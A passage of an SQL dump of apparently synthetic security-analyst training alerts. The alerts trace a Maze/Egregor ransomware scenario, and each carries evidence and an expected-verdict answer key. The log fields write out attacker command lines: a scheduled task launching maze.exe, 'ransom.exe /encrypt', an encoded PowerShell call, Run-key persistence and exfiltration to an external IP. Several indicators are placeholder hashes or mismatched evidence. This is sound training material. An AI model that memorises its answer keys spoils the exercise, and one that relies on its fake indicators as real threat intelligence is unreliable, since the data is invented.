account\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'intermediate', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.663Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"EventID\\\":4698,\\\"Task Category\\\":\\\"Scheduled Task Created\\\",\\\"Computer\\\":\\\"compromised-host.local\\\",\\\"User\\\":\\\"JohnDoe\\\",\\\"Scheduled Task Name\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\UpdateSecurity\\\",\\\"Action\\\":\\\"Create\\\",\\\"Parameters\\\":{\\\"Program\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe\\\",\\\"Arguments\\\":\\\"/c start C:\\\\\\\\Users\\\\\\\\JohnDoe\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\maze.exe\\\",\\\"Triggers\\\":\\\"At startup\\\"},\\\"Logon ID\\\":\\\"0x3e7\\\",\\\"Source Network Address\\\":\\\"45.76.123.23\\\",\\\"MD5 Hash\\\":\\\"4d186321c1a7f0f354b297e8914ab240\\\",\\\"Internal IP\\\":\\\"192.168.1.5\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.663Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"EventID\\\":4698,\\\"Task Category\\\":\\\"Scheduled Task Created\\\",\\\"Computer\\\":\\\"compromised-host.local\\\",\\\"User\\\":\\\"JohnDoe\\\",\\\"Scheduled Task Name\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\UpdateSecurity\\\",\\\"Action\\\":\\\"Create\\\",\\\"Parameters\\\":{\\\"Program\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe\\\",\\\"Arguments\\\":\\\"/c start C:\\\\\\\\Users\\\\\\\\JohnDoe\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\maze.exe\\\",\\\"Triggers\\\":\\\"At startup\\\"},\\\"Logon ID\\\":\\\"0x3e7\\\",\\\"Source Network Address\\\":\\\"45.76.123.23\\\",\\\"MD5 Hash\\\":\\\"4d186321c1a7f0f354b297e8914ab240\\\",\\\"Internal IP\\\":\\\"192.168.1.5\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.663Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"EventID\\\":4698,\\\"Task Category\\\":\\\"Scheduled Task Created\\\",\\\"Computer\\\":\\\"compromised-host.local\\\",\\\"User\\\":\\\"JohnDoe\\\",\\\"Scheduled Task Name\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\UpdateSecurity\\\",\\\"Action\\\":\\\"Create\\\",\\\"Parameters\\\":{\\\"Program\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe\\\",\\\"Arguments\\\":\\\"/c start C:\\\\\\\\Users\\\\\\\\JohnDoe\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\maze.exe\\\",\\\"Triggers\\\":\\\"At startup\\\"},\\\"Logon ID\\\":\\\"0x3e7\\\",\\\"Source Network Address\\\":\\\"45.76.123.23\\\",\\\"MD5 Hash\\\":\\\"4d186321c1a7f0f354b297e8914ab240\\\",\\\"Internal IP\\\":\\\"192.168.1.5\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.663Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"EventID\\\":4698,\\\"Task Category\\\":\\\"Scheduled Task Created\\\",\\\"Computer\\\":\\\"compromised-host.local\\\",\\\"User\\\":\\\"JohnDoe\\\",\\\"Scheduled Task Name\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\UpdateSecurity\\\",\\\"Action\\\":\\\"Create\\\",\\\"Parameters\\\":{\\\"Program\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe\\\",\\\"Arguments\\\":\\\"/c start C:\\\\\\\\Users\\\\\\\\JohnDoe\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\maze.exe\\\",\\\"Triggers\\\":\\\"At startup\\\"},\\\"Logon ID\\\":\\\"0x3e7\\\",\\\"Source Network Address\\\":\\\"45.76.123.23\\\",\\\"MD5 Hash\\\":\\\"4d186321c1a7f0f354b297e8914ab240\\\",\\\"Internal IP\\\":\\\"192.168.1.5\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.663Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"EventID\\\":4698,\\\"Task Category\\\":\\\"Scheduled Task Created\\\",\\\"Computer\\\":\\\"compromised-host.local\\\",\\\"User\\\":\\\"JohnDoe\\\",\\\"Scheduled Task Name\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\UpdateSecurity\\\",\\\"Action\\\":\\\"Create\\\",\\\"Parameters\\\":{\\\"Program\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe\\\",\\\"Arguments\\\":\\\"/c start C:\\\\\\\\Users\\\\\\\\JohnDoe\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\maze.exe\\\",\\\"Triggers\\\":\\\"At startup\\\"},\\\"Logon ID\\\":\\\"0x3e7\\\",\\\"Source Network Address\\\":\\\"45.76.123.23\\\",\\\"MD5 Hash\\\":\\\"4d186321c1a7f0f354b297e8914ab240\\\",\\\"Internal IP\\\":\\\"192.168.1.5\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1594, 'Lateral Movement Detected in Network', 'high', 'Network traffic analysis', 'Using harvested credentials, Maze moves laterally across the network, accessing multiple systems and escalating their control. Unusual network connections were detected from an internal host to multiple internal systems.', 'Lateral Movement', 'T1021.002 - SMB/Windows Admin Shares', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:22:45Z\",\"event_type\":\"network_connection\",\"source_ip\":\"192.168.1.101\",\"destination_ip\":\"192.168.1.104\",\"protocol\":\"SMB\",\"user\":\"j.doe@company.com\",\"external_attacker_ip\":\"203.0.113.45\",\"file_hash\":\"3a6eb8d2c5f78b1d1f7e6a34b5cfc6f8\",\"filename\":\"executable.exe\",\"detected_by\":\"IDS\",\"action_taken\":\"alert\"}', '2026-03-15 19:16:51', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.101\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of a compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.104\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Another internal IP address targeted by the attacker.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"external\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP address associated with Maze activity.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"3a6eb8d2c5f78b1d1f7e6a34b5cfc6f8\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with Maze malware.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"executable.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"suspicious\",\"details\":\"Suspicious executable used in lateral movement.\"}},{\"id\":\"artifact_6\",\"type\":\"username\",\"value\":\"j.doe@company.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"suspicious\",\"details\":\"User credentials were used to facilitate lateral movement.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'intermediate', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1595, 'Data Exfiltration to External Server', 'high', 'Firewall logs', 'Maze completes their attack by exfiltrating sensitive data to an external server, setting the stage for their double extortion tactic by threatening data leaks. The firewall detected unusual outbound traffic to a known malicious IP address, along with the transfer of a file with a suspicious hash.', 'Data Exfiltration', 'T1048: Exfiltration Over Alternative Protocol', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:25:43Z\",\"firewall_id\":\"FW-12345\",\"action\":\"ALLOW\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"203.0.113.45\",\"src_port\":56789,\"dst_port\":443,\"protocol\":\"TCP\",\"username\":\"jdoe\",\"file_name\":\"data_dump.zip\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\",\"bytes_sent\":10485760,\"outbound_bytes\":10485760,\"threat_intel\":{\"dst_ip\":{\"reputation\":\"malicious\",\"last_seen\":\"2023-10-10\"},\"file_hash\":{\"reputation\":\"malicious\",\"last_seen\":\"2023-10-11\"}}}', '2026-03-15 19:16:51', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intel Database\",\"verdict\":\"malicious\",\"details\":\"Known command-and-control server for Maze APT\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Repository\",\"verdict\":\"malicious\",\"details\":\"Hash associated with Maze APT\'s data exfiltration tool\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"data_dump.zip\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Security Logs\",\"verdict\":\"suspicious\",\"details\":\"Unusual file transfer detected\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"internal\",\"details\":\"Active directory user\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'intermediate', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1596, 'Phishing Campaign Targets Retail Employees', 'high', 'Email Gateway Logs', 'The operation begins as Egregor launches a sophisticated phishing campaign aimed at retail employees, leveraging Maze\'s social engineering tactics to gain initial access. An email was detected containing a malicious link and attachment.', 'Initial Access', 'T1566.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-01T14:23:45Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.0.25\",\"email_subject\":\"Urgent: Action Required on Your Account\",\"sender_email\":\"support@fakestore.com\",\"recipient_email\":\"jdoe@retailcompany.com\",\"malicious_url\":\"http://malicious-link.com/login\",\"attachment_filename\":\"Invoice_12345.pdf\",\"attachment_hash\":\"5d41402abc4b2a76b9719d911017c592\",\"username\":\"jdoe\"}', '2026-03-15 19:17:07', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known phishing operation IP associated with Egregor.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the targeted employee.\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"http://malicious-link.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"Open Source Intelligence\",\"verdict\":\"malicious\",\"details\":\"Phishing URL used to harvest credentials.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash of known malicious PDF attachment.\"}},{\"id\":\"artifact_5\",\"type\":\"email\",\"value\":\"support@fakestore.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Email Reputation Service\",\"verdict\":\"malicious\",\"details\":\"Spoofed email address used in phishing campaigns.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Phishing Campaign Targets Retail Employees\",\"date\":\"2026-03-15T20:58:15.674Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1597, 'Malicious Payload Execution Detected', 'critical', 'Endpoint Detection and Response (EDR) Tools', 'The EDR tool detected the execution of a known ransomware payload associated with the Egregor group. The payload was executed on a critical retail system, attempting to encrypt sensitive data.', 'Execution', 'T1059: Command and Scripting Interpreter', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:23:45Z\",\"event_id\":\"4625\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.15\",\"username\":\"retail_user\",\"file_path\":\"C:\\\\ProgramData\\\\ransom.exe\",\"file_hash\":\"5d41402abc4b2a76b9719d911017c592\",\"process_id\":10234,\"command_line\":\"C:\\\\ProgramData\\\\ransom.exe /encrypt C:\\\\sensitive_data\",\"detection_method\":\"Signature match\",\"signatures\":[{\"name\":\"Egregor Payload\",\"hash\":\"5d41402abc4b2a76b9719d911017c592\"}]}', '2026-03-15 19:17:07', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known ransomware campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP of compromised retail system.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with Egregor ransomware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"ransom.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Endpoint Detection\",\"verdict\":\"malicious\",\"details\":\"Executable linked to ransomware activity.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1598, 'Persistence Mechanisms Established', 'high', 'System Registry and Scheduled Tasks Logs', 'Egregor has established persistence mechanisms using registry modifications and scheduled tasks, enabling continued access to the compromised systems.', 'Persistence', 'T1547.001 - Registry Run Keys / Startup Folder', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:23:36Z\",\"event_type\":\"Registry Modification\",\"registry_key\":\"HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\Egregor\",\"registry_value\":\"C:\\\\Windows\\\\System32\\\\svchost.exe -k netsvcs\",\"user\":\"COMPROMISED_USER\",\"user_sid\":\"S-1-5-21-3623811015-3361044348-30300820-1013\",\"source_ip\":\"192.168.1.102\",\"attacker_ip\":\"45.76.89.23\",\"scheduled_task_name\":\"EgregorTask\",\"scheduled_task_command\":\"C:\\\\ProgramData\\\\Egregor\\\\egregor.exe\",\"scheduled_task_hash\":\"f8f3e8d4c5b5a1f6e2b1a9c3d4e5f8a7\",\"log_path\":\"C:\\\\Windows\\\\System32\\\\winevt\\\\Logs\\\\Microsoft-Windows-TaskScheduler%4Operational.evtx\"}', '2026-03-15 19:17:07', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"45.76.89.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"Known Egregor C2 server\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"f8f3e8d4c5b5a1f6e2b1a9c3d4e5f8a7\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with Egregor ransomware\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.676Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:36Z\\\",\\\"event_type\\\":\\\"Registry Modification\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\Egregor\\\",\\\"registry_value\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\svchost.exe -k netsvcs\\\",\\\"user\\\":\\\"COMPROMISED_USER\\\",\\\"user_sid\\\":\\\"S-1-5-21-3623811015-3361044348-30300820-1013\\\",\\\"source_ip\\\":\\\"192.168.1.102\\\",\\\"attacker_ip\\\":\\\"45.76.89.23\\\",\\\"scheduled_task_name\\\":\\\"EgregorTask\\\",\\\"scheduled_task_command\\\":\\\"C:\\\\\\\\ProgramData\\\\\\\\Egregor\\\\\\\\egregor.exe\\\",\\\"scheduled_task_hash\\\":\\\"f8f3e8d4c5b5a1f6e2b1a9c3d4e5f8a7\\\",\\\"log_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\winevt\\\\\\\\Logs\\\\\\\\Microsoft-Windows-TaskScheduler%4Operational.evtx\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.676Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:36Z\\\",\\\"event_type\\\":\\\"Registry Modification\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\Egregor\\\",\\\"registry_value\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\svchost.exe -k netsvcs\\\",\\\"user\\\":\\\"COMPROMISED_USER\\\",\\\"user_sid\\\":\\\"S-1-5-21-3623811015-3361044348-30300820-1013\\\",\\\"source_ip\\\":\\\"192.168.1.102\\\",\\\"attacker_ip\\\":\\\"45.76.89.23\\\",\\\"scheduled_task_name\\\":\\\"EgregorTask\\\",\\\"scheduled_task_command\\\":\\\"C:\\\\\\\\ProgramData\\\\\\\\Egregor\\\\\\\\egregor.exe\\\",\\\"scheduled_task_hash\\\":\\\"f8f3e8d4c5b5a1f6e2b1a9c3d4e5f8a7\\\",\\\"log_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\winevt\\\\\\\\Logs\\\\\\\\Microsoft-Windows-TaskScheduler%4Operational.evtx\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.676Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:36Z\\\",\\\"event_type\\\":\\\"Registry Modification\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\Egregor\\\",\\\"registry_value\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\svchost.exe -k netsvcs\\\",\\\"user\\\":\\\"COMPROMISED_USER\\\",\\\"user_sid\\\":\\\"S-1-5-21-3623811015-3361044348-30300820-1013\\\",\\\"source_ip\\\":\\\"192.168.1.102\\\",\\\"attacker_ip\\\":\\\"45.76.89.23\\\",\\\"scheduled_task_name\\\":\\\"EgregorTask\\\",\\\"scheduled_task_command\\\":\\\"C:\\\\\\\\ProgramData\\\\\\\\Egregor\\\\\\\\egregor.exe\\\",\\\"scheduled_task_hash\\\":\\\"f8f3e8d4c5b5a1f6e2b1a9c3d4e5f8a7\\\",\\\"log_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\winevt\\\\\\\\Logs\\\\\\\\Microsoft-Windows-TaskScheduler%4Operational.evtx\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.676Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:36Z\\\",\\\"event_type\\\":\\\"Registry Modification\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\Egregor\\\",\\\"registry_value\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\svchost.exe -k netsvcs\\\",\\\"user\\\":\\\"COMPROMISED_USER\\\",\\\"user_sid\\\":\\\"S-1-5-21-3623811015-3361044348-30300820-1013\\\",\\\"source_ip\\\":\\\"192.168.1.102\\\",\\\"attacker_ip\\\":\\\"45.76.89.23\\\",\\\"scheduled_task_name\\\":\\\"EgregorTask\\\",\\\"scheduled_task_command\\\":\\\"C:\\\\\\\\ProgramData\\\\\\\\Egregor\\\\\\\\egregor.exe\\\",\\\"scheduled_task_hash\\\":\\\"f8f3e8d4c5b5a1f6e2b1a9c3d4e5f8a7\\\",\\\"log_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\winevt\\\\\\\\Logs\\\\\\\\Microsoft-Windows-TaskScheduler%4Operational.evtx\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.676Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:36Z\\\",\\\"event_type\\\":\\\"Registry Modification\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\Egregor\\\",\\\"registry_value\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\svchost.exe -k netsvcs\\\",\\\"user\\\":\\\"COMPROMISED_USER\\\",\\\"user_sid\\\":\\\"S-1-5-21-3623811015-3361044348-30300820-1013\\\",\\\"source_ip\\\":\\\"192.168.1.102\\\",\\\"attacker_ip\\\":\\\"45.76.89.23\\\",\\\"scheduled_task_name\\\":\\\"EgregorTask\\\",\\\"scheduled_task_command\\\":\\\"C:\\\\\\\\ProgramData\\\\\\\\Egregor\\\\\\\\egregor.exe\\\",\\\"scheduled_task_hash\\\":\\\"f8f3e8d4c5b5a1f6e2b1a9c3d4e5f8a7\\\",\\\"log_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\winevt\\\\\\\\Logs\\\\\\\\Microsoft-Windows-TaskScheduler%4Operational.evtx\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1599, 'Lateral Movement Across Retail Network', 'critical', 'Network Traffic Analysis', 'An advanced threat actor is executing lateral movement within the retail network to spread ransomware. The operation is leveraging the Maze playbook, targeting high-value systems to amplify network disruption.', 'Lateral Movement', 'T1021', 1, 'new', NULL, '{\"timestamp\":\"2023-10-10T14:22:45Z\",\"source_ip\":\"192.168.1.25\",\"destination_ip\":\"10.0.3.15\",\"external_ip\":\"203.0.113.45\",\"username\":\"jdoe\",\"filename\":\"maze_loader.exe\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"network_protocol\":\"SMB\",\"action\":\"File Transfer\",\"status\":\"Success\"}', '2026-03-15 19:17:07', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network Monitoring\",\"verdict\":\"internal\",\"details\":\"Internal host used for lateral movement.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.3.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network Monitoring\",\"verdict\":\"internal\",\"details\":\"Targeted internal host for lateral movement.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known IP address associated with Maze operations.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"maze_loader.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis\",\"verdict\":\"malicious\",\"details\":\"File associated with Maze 